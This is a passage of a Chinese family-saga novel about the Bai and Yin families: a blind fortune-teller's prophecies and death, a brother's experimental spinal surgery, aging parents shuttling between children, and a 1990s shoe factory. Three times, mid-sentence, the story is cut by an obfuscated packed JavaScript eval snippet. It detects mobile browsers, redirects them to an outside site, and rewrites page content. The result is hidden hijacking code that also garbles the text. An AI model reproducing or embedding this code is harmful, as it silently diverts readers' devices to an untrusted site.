每当这时,白小双才觉得,姐姐还是家里那个喜欢抱着她,拿她当小宝宝的姐姐,而不是住在这奇怪屋子里的,变得不爱笑了的姐姐。 白小双觉得,虽然姐姐家啥都有,屋里头那个一人来高的坐地钟,隔着印花玻璃,能看到里面挂着的,两个苞米棒子一样的的大挂锤,看起来尤其的气派。 但是她还是喜欢自己家,虽然自己家没有那些漂亮的瓶子,那些象征着各种文绉绉词语的摆件,但是她家有快乐啊,二哥大了不咋陪她玩,但是三哥、四哥、五哥却是总带着她的,上树摘桃子,摘苹果,最大的那个,总是扔给她。 就是大哥家的“侄女”,虽然在大人面前,管她叫“小姑”,可转过身去,就姐姐妹妹的乱叫起来。 家里总是欢声笑语,热热闹闹的,自打白大双出门了,白小双哭了好久,晚上睡觉再没人搂着她,给她讲故事了,她有的时候甚至把姐姐当成了“娘”。 所以,白小双有事儿没事儿,总喜欢往姐姐家跑,为此白老爷子没少训她。 因为她不放心,有几次她去,发现姐姐眼圈红红的,身体也照比在家时清瘦了不少,心里很是心疼。 她知道,一定是尹老太太又欺负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718189|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐了。她管尹伯伯叫大伯伯,但从来不管尹老太太叫大娘,因为她发现,这个尹老太太跟“娘”这个字,差了不止十万八千里去。 她亲眼见到尹老太太训姐姐,虽然她不知道因为啥,但是那尖酸刻薄的嗓音,配上摇摇晃晃的小脚,一拐一拐地,像是小人书里的老妖婆。 她讨厌她,她甚至偷摸告诉姐姐,不要叫她“娘”,叫她“老妖婆”。可是姐姐总是笑一笑,下次见面还是叫她“娘”。 白大双婚后,并没有立刻生出来“兰桂齐芳”的俩儿子,而是生出来俩姑娘。这让尹老太太气焰嚣张了很久,要不是尹老爷子拦着,老太太恨不得立刻给儿子,偷摸纳个妾。 “你算那玩意根本就不灵,还说什么我能看着孙子!还说农村姑娘好生养,我就问你养哪去了?我当时要不是信了你,我都不带让她进门的!” 老太太急的,恨不得,跳着一双小脚,要跳到房子顶上去了。 老爷子慢悠悠地说道: “你急啥,这玩意能是急来的么?告诉你能看着,就看着得了!” 说着,他又把头埋到书里去了。 果然不出几年,白大双接连生下三个儿子,老太太这才老实下来,对丈夫那玄乎乎的玩意,也不敢说啥了。 到了那动荡的年月,尹家彻底败落下来。尹老太太深宅大院的生活了一辈子,哪见过这阵势,眼瞅着家里的东西被抢的抢,烧的烧,砸的砸,连惊带吓的,不出几天,归了西。 尹老爷子也一股火病倒了,烧了一个多礼拜,等睁开眼睛,就再也见不到一点光了。要不是白家帮忙,尹老爷子的那条命恐怕就交代出去了。 总算是,尹世宗跟着老丈人好好学习改造,得了个村邮递员的好工作,骑上刷着墨绿色漆的二八大杠,戴上小绿帽,穿着绿制服,穿梭在村子里的各个角落。每次他出现,村里的孩子们都会跟在他的后面跑,对于村里人来说,他是带来消息的信使,是传递感情的天线,没有一个不喜欢他,不尊重他的。 时代变了,尹世宗没像他爸似的,装了一肚子墨水,一辈子当个文人。他渐渐成了一个粗人,学会了骂脏话,也学会了抽现代烟。 白大双受着丈夫的影响,也抽起了小烟卷。 有时候俩人嫌现代烟不够劲,也卷点儿旱烟。把他老爹仅存的那几本,带着象牙骨雕书扣的书打开,一张张撕下来卷着烟丝。 也是,这书谁还看了,之乎者也的,早就过了时。就算老爷子想看,如今两只眼睛都瞎了,看也看不着了! 尹老爷子要强,虽说儿子儿媳妇收留了他,就是眼睛瞎了,他也自己在偏房生活,自己烧火做饭。 去村口的井里打水,他刚开始摸索着障子走,也摔过几跤,后来走熟了,就很自如了。只是到了井口,他不敢摸,怕掉下去,一般村民们看他来了,总是帮着他把井绳上的钩子,给他挂桶上;有时碰到井边正好没人,他就等着,等着远远地来了脚步声,或是大人或是小孩子,言语一声,总是能得到大家的帮忙。 尹老爷子眼睛看不着了,但是心上却看得更明白了! 他以前就会算命,只是以前很少有帮别人算的机会,外人一般也不知道,对于一个秀才来说,这也不是一个光彩的才能。 但是他瞎了眼睛,身份也成了比农民还低一等的存在,人们去问他,也不是因为知道他会算命,只是觉得秀才似乎就该啥都懂。所以谁家丢只牛,丢只羊的,都跑去问他。 尹老爷子一场大病下来,瘦骨嶙峋,胡须又长又白,手指甲也多少日子没剪了,竟显示出一种仙风道骨的气魄来。 他大手指搭上其他四个手指头,嘴里念念有词的,不一会儿,他就指出个方向,让他们去找,竟然没有一次落空的。 就这么的,尹老爷子出了名了。先是在村里传的沸沸扬扬,继而是周边村子的人赶着驴车马车的往这来,到后来竟然连市里的大人物,也都开着大吉普,慕名而来。 尹老爷子毕竟是文化人,跟一般的算命先生不同,他只说,但不说破。 俗话说,给人算命,属于泄露天机,要遭报应的。 尹老爷子懂,用书上的话来说,叫“五弊三缺”,鳏、寡、孤、独、残和福、寿、禄。正所谓因果造化,有因必有果,成果必有因。天道昭昭,因果循环。这个世界运行有他自己的法则,窥探天机,改变事物运行规则,是要遭到上天惩罚的。 他已经接到老天爷的暗示,如今“五弊”他都占全了,他若再不收着点,恐怕子女也会受牵连。 所以他说出来的卦,往往更像是个谜语,往往需要求卦的人去猜,若想再让他多说,给多少钱,他是断不肯说的了。 而且求他看卦,也需要看缘分。如果你三番五次去找他,他都不在家,那证明他不想给你看,你拿多少钱也是白扯。 若是那有缘的,家里再穷,尹老爷子分文不取,也是要帮你看的。 所以,就这么着,尹老爷子渐渐地在村子里成了个神仙一样的人物,谁都敬他三分。再加上尹世宗有固定的工作,白大双的日子过得倒也衣食无忧。 白小双去姐姐家,最喜欢的就是给伯伯当眼睛。吃饭了,帮他把筷子伸到爱吃的那盘菜里,去井里挑水,她帮着从井口往出提水桶。 尹老爷子喜欢这个丫头,白小双的命,他是早就算出来过的。 白小双依稀记得,那天傍晚上了,吃完饭,她和姐姐,还有老爷子坐在院子里的小马扎上,不怎么聊上白小双的将来。 尹老爷子笑着说道: “你这只小羊啊,不是白羊,却是一只小金羊,好啊,只是草还不在咱这地方,在北面。” 白小双属羊的不假,但是什么白羊,金羊的,谁也没把他这话当回事儿。等到白老爷子带着二儿子、三儿子、四儿子、五儿子和白小双,在北面定了居,白大双哭也来不及了! 11. 白家(二) 自从白老爷子把白大双和她哥哥扔在了南面,白大双的眼泪开始变得多了起来。 白小双做姑娘时,胆子大,又识字,经常带着大字不识的白老太太回南面,中间倒火车,倒汽车,她一个姑娘家整的明明白白。 她们不回去前,白大双想起来北面的爹妈和弟弟妹妹,没事儿就哭几通;等着她们娘们回去了,白大双见了面哭得更来了劲;等到临走,送到火车站,那就更是哭得了不得。 所以搞得白老太太回去也不是,不回去也不是,她只是眼泪吧擦地絮叨着: “哎,大姑娘情重,可惜这命搁这呢!” 白大双不是没想过跟了去,但是她的丈夫好不容易有个“铁饭碗”,那是断不可能去北面的。 就是尹老爷子也不同意,白大双不是没求过他,但是老爷子总是说,分分合合,合合分分,不过如此罢了! 说完,他就接着跟着他的黑匣子,哼着小曲儿。 尹老爷子到了晚年,几乎不给外面人算命了,他说他要给自己攒几年寿命,一律谢绝来访。 但白小双把金光耀带回去那年,他破了一把例。他看人用手看,把一双枯树一般的手,刚搭上金光耀的高鼻梁,他就说: “嗯,这孩子跟白丫头配,浓眉大眼的,一看就是个好小伙子,行!” 只是排好生辰八字,老爷子捻着胡子,寻么了半天,才缓缓说道: “十年无人识,一朝天下知。行,只是记住一条,50岁时切记低调,有场大难!” 金光耀那时刚从部队出来,满脑子马克思主义思想,脑袋上还戴着军帽呢!退伍时,红五角星虽然摘了,但是印子还清晰地留在他的帽子上。 所以他看着尹老爷子江湖术士那一套,有一点将信将疑,更多的是不屑一顾。但是第一次来女方老家,该有的礼貌还是要有的,他把老爷子给他写好的命理纸,叠的板板正正,像是军队里的‘豆腐块’一样,然后塞到了上衣口袋里。 尹老爷子到后来,身体越来越不好了,就连家里人也都不问他了,怕他乱说话,说得好了还行,说不好了,怕不吉利。 那不他三姑娘那年春天,寻思一冬没看着老爷子了,挺着大肚子,费老劲地给他爹拎几盒果匣子来看看。等到她坐在她爹的炕沿子上闲唠嗑时,老爷子突然叹了一口气,说道: “你肚子里这姑娘啊,命不咋好,怕是要让你操心的命,别的办法也没有,该来的总是要来,只能说挡一挡吧,她一出生就叫‘福遮子’吧!” 说完,话也不说,就自顾自地眯着去了。 这老姑娘心下来气,头胎生了个姑娘了,老多人看着她的肚型,都说这一胎必定是个儿子。这老爷子不说点好听的,上来就说什么“命不好”,孩子还没生出来呢,就开始咒白上了,必定是老糊涂了! 拐到哥哥嫂子那屋,她少不了哭天抹泪一顿闹,哥哥就跟他说: “哎呀,咱爸老了,哪能算的把把都准的。那前院老韩家嫁姑娘,人家特意拿包红纸,拎着一堆东西,让咱爸帮着看看日子,我合计这上下院老邻居住着,咱爸肯定抹不开面,帮着瞅瞅也行,咱爸却说‘他老了,看不明白了’,那不说啥没给看吗?完事儿,临了,还跟人家说一句,说‘第二口井水更甜’,搞得人家云里雾里的,也听不明白!” 白大双也跟着安抚,说道: “爸这些日子,身体越来越不如前了,之前吃饭能吃二大碗一碗饭,这往后,净吃一小碗底儿,但是又没啥其他的毛病,总是心里觉得不舒服就是了,他说啥,你别往心里去,再有个把月就要生了,别动了胎气!” 转眼,就到了四月初八,每年的这一天,都是赶庙会的日子。往年,尹老爷子都是要拿着手杖,和孙子孙女们去镇上玩一玩的。虽说这镇上就一座小庙,但每年的这个日子,周边村镇上的老百姓们,也都象征性地去拜一拜。那有所求的,就买几把香火,跪在褪了色的黄蒲团上面,念叨念叨;那无所求的,愿意卖呆儿,就去庙里瞅一瞅,不拜也没人说。 大部分人,都是去庙旁边的那一趟街,去逛街的。平时那里就卖一些小物件儿,什么拨浪鼓啦、不倒翁啦,旁边还有几家点心铺子。但是到了庙会这一天,这地方就不同了,那些常见的玩意儿,一般人都不去看,也不去买了。 这一天,最热闹,围的人最多的,要属在街边耍猴的。那小猴子脖子上,往往套着个大粗铁链子,其实那链子也没多粗,跟一般人家养狗栓的链子差不多粗。只是那小猴子往往都是瘦的皮包骨头样子,身上一块块地掉着毛,细胳膊细腿的,跟那鸡脚一般,而它的脖子往往细的跟要断了似的,相比之下,那铁链子看起来竟然粗得不得了! 跟别人耍花枪那种,敲敲打打的开场不同,耍猴的往往趁着大家还没注意,就已经开始了表演。耍猴的那人,衣衫褴褛地坐在地上,从身边一个破布兜里掏出一根香蕉,刚扒开吃了一口,那小猴子远远地看着,以迅雷不及掩耳之势跑过来,一把把香蕉抢跑了,他边跑边吃,等到耍猴的生气地,操着一口外地口音,冲他喊着: “你这个死猴子,把香蕉还给我!” 那猴子像听懂了人话似的,瞪着眼睛,一口把整个香蕉都吞了进去。耍猴的走上前,作势要打,那小猴却一下子,把香蕉皮扔到了他的脸上。 这引得围观的大人孩子哈哈大笑起来,大家一笑起来,那小猴子立刻从耍猴的头上,摘下那顶飞了边的破帽子,然后围着人群开始一圈一圈地要钱。 大人们,笑得擦着眼角的眼泪,从兜里掏出几分几毛的零钱扔进去;那小气的,却假装笑得直不起腰来,抹着眼角,说啥不掏兜;那拍着手笑的小孩子们,是个个儿都要给钱的。就是大人不给,他们也必定哭着喊着的向大人要钱,非要往小猴手里拿着的帽子里扔钱,似乎不扔一下,就像没亲近到小猴子一样。 所以,庙会这天一大早,尹老爷子的孙子孙女们,早早就穿好了,等着爷爷吃好饭一起走。白大双合计着,老爷子今年身体不如往年,怕是不能去了,吃完饭,她把刷完碗的手往围裙上擦着,打算换身衣服,陪孩子去。 一抬眼,院子里,爷孙几个已经出了院门了。 等到傍下晌了,爷孙几个才慢悠悠地回来,老爷子走得红光满面的,气色也比往常好多了。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718190|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大双赶紧把锅里热着的饭菜端出来,尹世宗上午把信都送完了,下午没啥事儿,他总要喝几盅小酒解解乏。他刚给自己满上,尹老爷子突然来一句: “大孙儿,去把爷爷的小酒盅拿来。” 尹世宗一愣,大孙子尹立文已经把酒盅放在爷爷面前了。老爷子有阵子不喝酒了,尹世宗看老爷子高兴,就给他爸也满上了。 这顿饭,吃得尤其的热闹,孙子孙女们讲述着庙会上好玩的事情,老爷子一边听着,一边高兴地喝着酒。 尹老爷子没多喝,就喝了一小盅,饭也没多吃,就吃了一小碗。大家都知道,再好吃的饭菜,他也只吃八分饱,大鱼大肉从来就吃一小块,喝酒只喝他那一口的小盅,多少年都如此。 吃过饭,尹老爷子盘着腿眯着,孙子孙女们就在他旁边玩。突然,他睁开眼睛,笑着说了一句:“我该走了。” 没等大家伙反应过来,他平躺在炕上,似乎像睡着了似的,走了。 等到白大双和尹世宗,领着儿子姑娘跪在地上哭的时候,他老人家早已经离开了这纷纷扰扰的世界。 有人说,尹老爷子不是一般人,庙会这天是众神下界的日子,这天走的人,一般都是被天上的神仙接走了;也有人说,尹老爷子将70就走了,没病没灾的,怕是算命被折了寿,才走的这么早;更有的说的有鼻子有眼的,说本来尹老太都找好儿子媳妇了,但是尹老爷子给儿子逆天改了命,所以才瞎的。 尹世宗不管老爷子是成仙还是因为啥走的,总之,他现在没了主心骨,往常遇到啥事儿,他总要去问问老爹,就是今年地里是多下柿子苗还是黄瓜苗,这样的小事儿,他也总得去他老爹那屋去叨咕叨咕,才像走完了流程似的。 尹世宗这辈子,基本都是按照他老爹给安排的路线走的,娶妻生子,哪一步都在老爷子的手心里把着。大风大浪的,总算是过上了人过的日子。 他有时也想过,要是当年听了他老娘的,如今他活不活着,还两说呢! 有他老爹在,前面的路再黑暗,就像有个人一直给你提着灯似的,那路总是亮着的。如今提灯的人没了,乌漆嘛黑的,他这心总像是不落底似的悬着。 三姑娘没参加上老爹的葬礼,不出些日子,果真生下个姑娘,她哭着唤着: “福遮子,你姥爷老早就给你起好了名字了,你可下来了!” 不出两年,那前院老韩家的姑娘离婚回娘家,白大双碰着了,心下突然想起来,尹老爷子当时说什么“第二口井更甜”那句话,她没敢声张,生怕别人说,姑娘离了婚,是她家老爷子咒白的。 她只是回到家,当着丈夫的面抹着眼泪,说道: “谁说咱爸老了算的不准的,我看他越老了,倒像越看得厉害了似的,那老韩家姑娘和三妹妹肚子里的孩子,他连生辰八字都没看,就说出来了,可不赶上神仙了似的。” 尹世宗红着眼睛没说话,闷声地抽着烟。 他不明白了,为啥老爷子临走那天,没给他留下啥只言片语的。他去他爹屋子里也看过了,没给他留下任何纸片和字迹。 尹老爷子就这样悄无声息地走了! 12. 白家(三) 白家一分为二,一南一北,虽说地方不同,却是同一个日头,同一个月亮,过着同样娶妻生子的生活。 白老三长得最像白老爷子,大高个,高鼻梁,一双深邃的眼睛,镶嵌在浓密的眉毛下面,英气十足。只可惜,小时候落下了毛病,导致他腿瘸,走路一拐一拐的,因为这,他只能娶了同样有着耳聋毛病的,东村老王家的大姑娘玉芬,她耳朵不好使,说话也是支支吾吾的,含混不清。两口子生养了三女一儿,万幸都是健健康康的。 白老三两口子,因为身体的缺陷,只能在家务农。 两口子在一起时间长了,哪有不吵架的,但是白老三和他媳妇,却是吵不起来的。 有时候白三嫂子嫌弃丈夫的腿脚不好,白老三又是个慢性子,收稻子总是村里最后一家收完,难免抱怨,但是她生气说不出来完整的话,只是嗷嗷地叫着,手里再指指点点的比划着,好像在说: “你瞅瞅你干这点儿活,慢慢腾腾,腿脚不好就算了,手也不利索。” 白老三气不过,骂道: “你还嫌乎上我了,我还没嫌乎你又聋又哑的……” 他还想骂几句,但是怕媳妇听不着,他岂不白骂了,所以停住了看她反应。 果然,他媳妇没听见,弓着背专心地割着稻子。 他特意走近了,打算再骂一遍。可是张了张嘴,又把话憋回去了,拿着镰刀接着割稻子去了。 骂人这件事儿,不像别的话,只有骂第一遍的时候效力最强,等到你再重复一次,倒显得像小孩子学话儿似的,失去了严肃性和杀伤力。 白老三试过好多次了,他只能忍受妻子的无礼吼叫,等到他反驳时,她没法立刻听清楚,你总得重复很多遍,或者非常大力地喊着,但是往往喊着骂,就像收音机信号不好,拉长了音的,变了调。 而这个时候,他媳妇往往早就恢复到,面无表情听不着的状态了。 这就像往水里扔石子,激不起一点波纹,谁还费力扔石子了。到后来,白老三也懒得生气了。 白老三一家过得很俭省,尤其是在用电上。电视锁在柜门里,钥匙只揣在他身上,只有到春节了,他才开开那把大锁,全家人看一小会儿春晚,但是到了晚上八点,还是照例切断一切电源。他把四个孩子训练得像军队里的士兵,晚上统一洗漱睡觉,八点准时关灯,就是睡不着,那也得在黑暗中大眼瞪小眼。当别人家开始点100瓦、200瓦的大灯泡时,他们家用的还都是5瓦的小灯泡。 孩子们有时抱怨说,家里的灯都赶不上同学家门口的夜灯亮。 白老三总要说一句: “你们懂个啥,知道啥叫节约不?” 没错,白老三家的孩子们,最早学会的一件事就是节约。姐姐穿过的衣服给妹妹,妹妹穿过的衣服再给妹妹,等到最后终于来了个弟弟,他也是捡着姐姐们的衣服穿的,等到他穿的时候,那上面已经是补丁摞补丁了,根本看不出来衣服以前的样子了。 白老爷子没少说老三,做什么都得有个度,太过俭省了,倒显得他老白家咋穷似的。 白老三说道: “人活着又不是给别人看的,我觉得这样挺好。” 其实白老三不缺钱,东北这土地肥的很,很少有旱涝的时候,他专门拿出一个屋子当粮仓,到秋那粮食都堆满了,卖完到冬,剩个小半仓留着自己吃都吃不完。 住一个院的白老四,早就知道三哥出了名的抠,他半拉眼瞧不上,他俩完全是两个性子。白老四为人大度,平时喜欢呼朋唤友,要不是白老爷子瞅着呢,他早就在院当间砌一堵墙了! 白老四随了白老太太,个不高,但是人很聪明,学会了一门瓦匠手艺,兼做点木匠活,家里过得也不赖。 白小双的四嫂子,本来是最早生养的,她先是生养了一个大女儿,人长得水灵灵的,说话脆生生的,但长到5岁上夭折了。没多久,她又生下个黑乎乎的胖儿子,大眼爆皮儿,虎头虎脑的,特别招人稀罕。 白小双那时还是姑娘家,尤其稀罕这个胖小子,每次去都要抱一抱,亲一亲。但是不知道为啥,白老爷子和老太太,却拿他不像是自个亲孙子似的,不咋稀罕。 等到这么个胖小子会爬了,自己从炕上爬到了地柜上,摔死之后。白小双哭得不得了,白老太太才说出缘故,说那孩子不是白老四的种儿,黑黪黪的,跟前院老李家的儿子一个模样。这事儿有的没的,谁知道呢? 直到白四嫂子又生出一对小眼睛的双胞胎儿子,白老爷子和老太太才笑开了花。俩小子早产,刚生出来时,又瘦又小,跟耗崽子似的,外加上白四嫂子奶也不够,俩孩子营养不足,到会走路时,全都往里拐着两条腿走路,活像两只小青蛙。 那时,白小双在四五队里当会计,村里唯一的大夫白永春,挺喜欢这个跟他同姓的姑娘,要不是村长老金先下手为强,他是必定要给儿子定下的,虽说“同姓不婚”,但是白小双不是本地的白家,就没那讲究了。 正好那时,白永春在村卫生室需要个下手,他就找白小双帮忙,她聪明伶俐,给别人打个屁针儿,扎个点滴啥的,学几天就会了。 俗话说,近水楼台先得月。 那时钙片在全国来说,都是紧俏的物资。白小双花了大半年的工资,总能时不时地,给她那两个“罗圈腿”的侄子,送去几片钙片。 就这么的,不出几年,俩小子渐渐地长好了,虽然老二的一只腿还有点跛,但只要不跑,走路也看不出来。 再后来,白四嫂子又生养了闺女,同样是随了妈的小眼睛,但是白白胖胖的,很招人稀罕。 家里孩子总算都健健康康地长大,白老四拼了命地赚钱。给别人当瓦匠工,到处盖房子,家里基本都仰仗着白老两口照看。外加上白小双没事过来帮忙,还算过得去。 但是白老四总想着赚快钱儿,又好逞能。给别人当瓦匠,本来不用他扛木头,但是他偏要帮忙。那做房梁的木头,一般都得选最结实,最重的,他上去就使蛮力,后背受了伤。 等到回家趴了几天,发现越来越严重,下肢竟然失去了知觉,大家这才慌起来。 市里的医院说是,后背脊椎断了,渣子碎在了里面,接是接不上了,怕是要瘫痪一辈子了。 白老爷子一封电报,白老大特意从南面,坐火车赶了过来。白老二托朋友,可哪找能治的骨科医院,总算是联系到一家外地的省医院,说是可以去看一看。 白老大和白小双,用板车拉着白老四,坐着敞篷的大货车就风尘仆仆地奔了去。 到地方,50多岁的一个老大夫,拿着片子看了看,说道: “这个我们还真看不了,脊椎断了,这种病,就在全国来说,恐怕也没有几个能治的,咱们医院……” 没等老大夫把话说完,白老大“扑通”一声,跪在了大夫的面前。眼泪大颗大颗地滚了下来,他说: “求求你了大夫,我是他大哥,我们兄妹7个,但是为了生活,我们不得已分开两地,收到我爹的电报,我连夜倒了两趟火车去我四弟家,我四弟家里还有一对双胞胎儿子和一个姑娘,他还不到30岁啊,就这么躺下了,可让家里人怎么活啊?” 说着,他声泪俱下地,“哐哐”在地上磕起了头,磕到头上渗出了血,说啥就是不起来。 白小双在旁边早已经是泣不成声了。 白老四躺在病床上,哭着喊道: “大哥,你这是干啥,大哥……” 白老大咋也是做了半辈子的包工头了,从来都是说上句的人,什么时候低三下四到,要跪在地上给别人磕头的份上了? 那个年代,哪个人不是兄弟姐妹一大家的,大夫也是有兄弟的人。看白老大为弟弟如此不要尊严的,求得一条活路,他也早就湿了眼睛。 幸运的是,这个老大夫和他带的学生们,正好在做这方面的研究,刚刚成功地用狗骨头接替到猪骨头上做实验,取得了成功。 但是往人骨头上接,尤其是这种活体的实验,却是连想都还没想过。本来这些学术上的东西,大夫是不会跟病人讲的,但是机缘巧合,恰好碰到这么一例,而且治病救人,迫在眉睫。 医院快速敲定方案,白老大也签了协议,假如不成功,后果自负。 提着一颗悬着的心,想想都害怕,把狗骨头接到白老四的身上,那是什么概念,不亚于刚开始提出“克隆人”时,大家害怕的程度。 就这么的,农民白老四做梦也不会想到,自己做了一把医疗领域的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718191|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小白鼠”,这是他大哥跪地上求来的。 意外地,手术非常成功。虽然白老四从那以后,背弯了下去,不能像以前那么直溜了,他也感觉自己身上带了狗的一部分,内心一直无法接受,但是总算是可以站着活下去了,这对一个男人,尤其是农民男人来说,有多么重要! 白老五是老两口最小的儿子,小儿子小时候就受宠一些,老两口本想着以后就跟小儿子一起过了。就像金老爷子一样,那个年代的父母,生养的子女多,总要在其中选个最喜欢的儿子养老。 白老五言语迟,往往话还没说出口,先漏出一嘴大黄牙笑起来,人又腼腆,性子温顺,无论让他干啥活,他都像一头老黄牛似的,一句话不说,就是闷声干。 他跟着白老四学会了瓦匠活,木匠活也做得漂亮。白老两口子留下他在身边,也是有私心的,想着这么好的儿子,可别让媳妇欺负了,总要在旁边守着过日子,他们才放心。 可没想到,他们千挑万选,这五媳妇还是看岔眼了。 等白老爷子把旧房子翻新,白墙上镶上一圈漂白透亮的瓷砖,大院里都铺上红灿灿的砖头,猪圈里也新买了一窝猪崽,热热闹闹地,把儿媳妇娶进门后没多久,她就鼻子不是鼻子,脸不是脸了。 五媳妇做饭时,总会把锅盖使劲摔地咣咣响,白老五却不敢作声。 老爷子和老太太是识相的老人,收拾收拾行李去了四儿子家暂住。后来五媳妇生了一对双胞胎儿子,隔几年又生了一胎儿子,这让五媳妇的气焰更嚣张了。 中间老两口隔三差五回来住些日子,但是架不住五媳妇的脸冷,说话更像是刀子似的不中听。老两口明明躺的是自家炕上,却愣是睡不踏实。外加上,看着最疼爱的小儿子,成天被媳妇骂,连个屁都不敢放一下,有时候含沙射影地,连着两个老的,甚至埋在南面土里的祖宗,都受到了牵连。 老两口含着泪,背上铺盖卷,自此开始了没房子的“流浪”生活。 二儿子家在市里,去一趟不方便,再说住着楼房,厕所都在屋子里头,老两口住不习惯,顶多住半拉月就回农村了;三儿子四儿子家住一个大院,但是老三是出了名的抠,虽说老两口子去了,家里多少日子了才总算吃上一顿肉,但是总觉得心里像不舒服似的; 老两口一年到头大部分时间,都住在四儿子家,四儿媳妇虽说之前有那么一个不明不白的儿子,但是为人忠厚老实,外加上四儿子仗义,老两口来了,必须睡大屋炕头上,孙子孙女们睡炕稍,他们两口子挤小屋那铺炕。 白老爷子好吃水冲蛋,鸡窝里新鲜的鸡蛋,哪回都是可着老爷子先吃;白老四挣不挣下钱的,隔三差五,就到市场上割二斤肉,或是包饺子或是炒菜,总之啥都可着老两口的心意来。 但是人这东西怪,对你不好吧,你心里难受,对你太好吧,你心里也难受。 四儿子那是掏心窝子的孝顺,媳妇不敢不孝顺,孩子们也学得极其孝顺。 白小双给白学文、白学武带了几块大白兔奶糖,两个小孙子,用脏兮兮的小手扒开糖纸,嘴角流着哈喇子,也要第一时间送到爷爷奶奶嘴边去。 老两口在四儿子家呆得舒服,甚至太舒服了,舒服到心里难受,夜里在那烧的热乎乎的炕头子上,翻来覆去,依旧睡得不踏实。 往往这个时候,又是老两口流浪的开始了。 他们或是去南面大儿子家住些日子,大儿子媳妇最后一胎总算没整出来“七仙女”,来了个大胖小子,给老大乐坏了。大儿子也孝顺,只是总不着家,工地上事情又多,家里大的两个姑娘都嫁了,剩下几个帮着照看弟弟,也是绰绰有余; 大女儿家住着,总是不得劲。自从尹老爷子走了,白大双和他丈夫没管的了,俩人那烟抽得越来越凶,搞得东西屋天天乌烟瘴气的。白老爷子一辈子不抽烟不喝酒,最讨厌这些个资本家的作派,免不了说他闺女几句。往往这个时候,白大双就得把“狠心扔下她在南面,不管她”那些话翻出来,总之,呆不下! 老两口坐在回北面的火车上,听着火车轱辘“哐当哐当”地不停向前,想起自己忙活了一辈子,老了老了,还像这火车似的,来回地奔着,啥前能停下来呢? 恐怕只有等眼睛闭上那时候了! 13. 90年代 白小双是老两口最喜欢的孩子,和她姐姐大双矮小的身材不同,她身材匀称,亭亭玉立,长得也是最好看的,性子又安静温柔。 正好那时,白小双和金光耀刚把鞋厂支巴起来,一双儿女没人照顾,白家老两口从南面回来,就在小女儿家住下了。 金秋最喜欢姥姥姥爷了,当她在家门前的那条路上,和朋友们正跳着皮筋时,远远地看到大道上一前一后,一高一矮两个身影,她就会立刻飞奔了出去,等到气喘吁吁跑到近前,开心地抱着姥姥姥爷跳个不停。 金秋8岁时,姥姥姥爷已经70多了。 她总喜欢缠着他们讲故事,讲日本鬼子进村时,白老爷子那时当村长,是如何把村里的妇女和女孩子们,当然也包括姥姥,脸上抹上锅底灰,藏进山里隐秘的洞里;日本鬼子,是如何把全村的鸡鸭鹅狗和粮食都搜罗走,又大吃大喝几天;汉奸是如何说话的,日语是怎么说的;日本鬼子拿着尖刀架在你脖子上,姥爷你怕不怕…… 外孙女无论怎么问,白老爷子都会耐心地给她讲,甚至详细到日本鬼子穿的高皮靴后跟上有钉子,所以走起路来咔咔响,都要讲到。 听完了姥爷讲故事,金秋又缠着姥姥看她的小脚。虽然姥姥已经讲了不下一百遍,小脚是被自己的妈妈用布缠变形的,可金秋还是不敢相信妈妈会对自己的女儿这么狠心,然后再跑去和白小双确认下自己的脚不会被缠,她才会安心地睡觉。 姥姥姥爷来的日子,金秋和她哥哥才算有人管了。之前鞋厂忙时,白小双和金光耀为了赶工哪里还顾得上他俩吃饭。金秋有时从早上出去和朋友玩,一直到晚上才回家,中午带了钱随便在外面买点零食就吃了。 实在饿了,兄妹俩一起做酱油炒饭,金山负责引炉子,金秋负责炒,但是她往往不懂得放多些调料,半瓶子酱油倒进去,成了酱油泡饭了;或者去后园子摘茄子、黄瓜、辣椒……,他们看着什么摘什么,随便地扔在菜板上,乱剁一阵,胡乱地扔锅里炒几下,半生不熟地就吃起来,也是经常事儿。 白小双有时很可怜孩子,可她连个替班的人都没有,有时那来进货的人,就在家等着出货呢!整个鞋厂除了她,没有人会下皮料,她甚至尿急都要憋着,后来倒憋出了肾结石。 所以,财富从来都不是轻而易举就能来的,它让大人和孩子们都吃尽了苦头,可大人们却还是拼命地追逐它。 这不,不几天就出了一件大事儿! 白老两口不能总在女儿家住着,虽然金秋和金山正需要他们照看,但是姑娘家和儿子家总是不同的,住在姑娘家,白老爷子总觉得腰像直不起来似的。虽说,地里的活儿他没少干,白老太太也天天忙着做饭,或是给俩外孙儿絮棉袄棉裤,但是天天和女婿抬头不见低头见的,搁一个桌上吃饭,总是不大得劲。 再说金光耀如今是大老板,不自觉地,那老板派头在指挥十几个工人中,也不知道啥时候,渐渐显露出来。 